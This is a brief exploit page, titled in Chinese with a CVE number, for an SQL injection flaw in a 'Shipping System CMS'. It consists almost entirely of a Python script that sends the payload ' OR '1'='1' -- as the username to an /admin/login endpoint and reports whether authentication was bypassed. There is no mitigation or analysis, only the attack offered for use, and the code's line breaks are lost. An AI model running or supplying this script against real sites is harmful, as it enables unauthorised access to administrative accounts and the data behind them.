CVE-2018-25183 Shipping System CMS SQL注入漏洞

import requests def exploit(url): target_url = f"{url}/admin/login" # Payload demonstrating authentication bypass payload = { "username": "' OR '1'='1' -- ", "password": "any_password" } try: response = requests.post(target_url, data=payload) if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] Exploit successful! Authentication bypassed.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)